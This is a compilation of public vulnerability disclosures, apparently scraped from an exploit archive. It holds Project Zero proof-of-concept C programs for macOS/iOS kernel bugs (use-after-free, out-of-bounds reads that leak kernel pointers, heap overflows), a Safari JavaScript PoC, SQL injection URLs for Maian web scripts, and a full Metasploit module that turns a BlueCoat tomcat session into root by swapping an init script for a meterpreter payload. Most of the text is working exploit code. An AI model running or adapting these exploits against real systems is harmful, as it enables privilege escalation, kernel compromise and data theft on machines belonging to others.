Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1104
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
*/
// ianbeer
#if 0
MacOS/iOS kernel uaf due to double-release in posix_spawn
exec_handle_port_actions is responsible for handling the xnu port actions extension to posix_spawn.
It supports 4 different types of port (PSPA_SPECIAL, PSPA_EXCEPTION, PSPA_AU_SESSION and PSPA_IMP_WATCHPORTS)
For the special, exception and audit ports it tries to update the new task to reflect the port action
by calling either task_set_special_port, task_set_exception_ports or audit_session_spawnjoin and if
any of those calls fail it calls ipc_port_release_send(port).
task_set_special_port and task_set_exception_ports don't drop a reference on the port if they fail
but audit_session_spawnjoin (which calls to audit_session_join_internal) *does* drop a reference on
the port on failure. It's easy to make audit_session_spawnjoin fail by specifying a port which isn't
an audit session port.
This means we can cause two references to be dropped on the port when only one is held leading to a
use after free in the kernel.
Tested on MacOS 10.12.3 (16D32) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
#include <mach/mach.h>
int main() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
posix_spawnattr_t attrs;
posix_spawnattr_init(&attrs);
posix_spawnattr_setauditsessionport_np(&attrs,p);
char* _argv[] = {"/usr/bin/id", NULL};
int child_pid = 0;
int spawn_err = posix_spawn(&child_pid,
"/usr/bin/id",
NULL, // file actions
&attrs,
_argv,
NULL);
}
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity.
A malicious user with tomcat privileges can escalate to root via the vulnerable mvtroubleshooting.sh script.
Proof of Concept:
Metasploit Module - root priv escalation (via mvtroubleshooting.sh)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'BlueCoat CAS 1.3.7.1 tomcat->root privilege escalation (via mvtroubleshooting.sh)',
'Description' => %q{
This module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate
privileges. In order to work, a tomcat session with access to sudo on the sudoers
is needed. This module is useful for post exploitation of BlueCoat
vulnerabilities, where typically web server privileges are acquired, and this
user is allowed to execute sudo on the sudoers file.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'References' =>
[
['EDB', '##TBD##'],
['CVE', '2016-9091' ],
['URL', 'http://https://bto.bluecoat.com/security-advisory/sa138']
],
'Platform' => %w{ linux unix },
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
OptString.new("WritableDir", [ false, "A directory where we can write files", "/var/log" ]),
], self.class)
end
def check
id=cmd_exec("id -un")
if id!="tomcat"
print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat")
fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat")
end
clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3")
if clprelease!="1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat session...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
begin
#Backup original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$
#Replaces /etc/init.d/nscd script with meterpreter payload
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$
#Executes meterpreter payload as root
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/flush_dns.sh"
#note, flush_dns.sh waits for payload to exit. (killing it falls over to init pid=1)
ensure
#Restores original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$
#Remove meterpreter payload (precautionary as most recent mv_troubleshooting.sh should also remove it)
cmd_exec "/bin/rm -f #{exe_file}"
end
print_status("#{peer} - The exploit module has finished")
#Maybe something here to deal with timeouts?? noticied inconsistant.. Exploit failed: Rex::TimeoutError Operation timed out.
end
end
# # # # #
# Exploit Title: Maian Greetings v2.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiangreetings.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/greetings/
# Version: 2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=search&keywords=a&cat=[SQL]
# # # # #
# # # # #
# Exploit Title: Maian Uploader Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maianuploader.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/uploader/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?cmd=view&user=[SQL]
# mu_members:id
# mu_members:joindate
# mu_members:sign_date
# mu_members:joinstamp
# mu_members:username
# mu_members:email
# mu_members:accpass
# # # # #
# # # # #
# Exploit Title: Maian Survey v1.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiansurvey.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/survey/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=surveys&survey=[SQL]
# # # # #
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_exec capri_exec.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x921,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER _IOWR('i', 179, struct if_order)
void set(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
for (int i = 0; i < n; i++) {
data[i] = 1;
}
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCSIFORDER, &ifo);
free(data);
}
void get(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
memset(data, 0, n*4);
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCGIFORDER, &ifo);
free(data);
}
int main() {
int fd = socket(PF_INET, SOCK_STREAM, 0);
set(fd, 5);
get(fd, 4);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/
// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
it falls through to calling:
ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
ifnet_reset_order contains this code:
for (u_int32_t order_index = 0; order_index < count; order_index++) {
u_int32_t interface_index = ordered_indices[order_index]; <---------------- (a)
if (interface_index == IFSCOPE_NONE ||
(int)interface_index > if_index) { <-------------------------- (b)
break;
}
ifp = ifindex2ifnet[interface_index]; <-------------------------- (c)
if (ifp == NULL) {
continue;
}
ifnet_lock_exclusive(ifp);
TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link); <---------- (d)
ifnet_lock_done(ifp);
if_ordered_count++;
}
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
int main() {
uint32_t data[] = {0x80001234};
struct if_order ifo;
ifo.ifo_count = 1;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
int fd = socket(PF_INET, SOCK_STREAM, 0);
int ret = ioctl(fd, SIOCSIFORDER, &ifo);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
case BIOCSBLEN: /* u_int */
if (d->bd_bif != 0)
error = EINVAL;
else {
u_int size;
bcopy(addr, &size, sizeof (size));
if (size > bpf_maxbufsize)
size = bpf_maxbufsize;
else if (size < BPF_MINBUFSIZE)
size = BPF_MINBUFSIZE;
bcopy(&size, addr, sizeof (size));
d->bd_bufsize = size;
}
break;
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
If we then attach to an interface again we hit this code in bpf_setif:
if (d->bd_sbuf == 0) {
error = bpf_allocbufs(d);
if (error != 0)
return (error);
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
This bug is a root -> kernel priv esc
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
int main(int argc, char** argv) {
int fd = open("/dev/bpf3", O_RDWR);
if (fd == -1) {
perror("failed to open bpf device\n");
exit(EXIT_FAILURE);
}
// first set a small length:
int len = 64;
int err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting small buffer length");
exit(EXIT_FAILURE);
}
// create an interface which we can destroy later:
system("ifconfig bridge7 create");
// connect the bpf device to that interface, allocating the buffer
struct ifreq ifr;
strcpy(ifr.ifr_name, "bridge7");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// remove that interface, detaching us:
system("ifconfig bridge7 destroy");
// set a large buffer size:
len = 4096;
err = ioctl(fd, BIOCSBLEN, &len);
if (err == -1) {
perror("setting large buffer length");
exit(EXIT_FAILURE);
}
// connect to a legit interface with traffic:
strcpy(ifr.ifr_name, "lo0");
err = ioctl(fd, BIOCSETIF, &ifr);
if (err == -1) {
perror("attaching to interface");
exit(EXIT_FAILURE);
}
// wait for a packet...
system("ping localhost -s 1400");
return 0;
}
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1056
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document.
PoC:
-->
"use strict";
document.write("click anywhere to start");
window.onclick = () => {
let w = open("about:blank", "one");
let d = w.document;
let a = d.createElement("a");
a.href = "https://abc.xyz/";
a.click(); <<------- about:blank -> Document::InPageCache
let it = setInterval(() => {
try {
w.location.href.toString;
} catch (e) {
clearInterval(it);
let s = d.createElement("a"); <<------ about:blank's document
s.href = "javascript:alert(location)";
s.click();
}
}, 0);
};
<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_mem capri_mem.c -framework IOKit
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
Here's the code:
static int
audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype,
__unused proc_t p)
{
struct audit_pipe *ap;
int u;
u = minor(dev);
if (u < 0 || u > MAX_AUDIT_PIPES)
return (ENXIO);
AUDIT_PIPE_LIST_WLOCK();
ap = audit_pipe_dtab[u];
if (ap == NULL) {
ap = audit_pipe_alloc();
if (ap == NULL) {
AUDIT_PIPE_LIST_WUNLOCK();
return (ENOMEM);
}
audit_pipe_dtab[u] = ap;
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES];
There's an off-by-one in the minor number bounds check
(u < 0 || u > MAX_AUDIT_PIPES)
should be
(u < 0 || u >= MAX_AUDIT_PIPES)
The other special file operation handlers assume that the minor number of an opened device
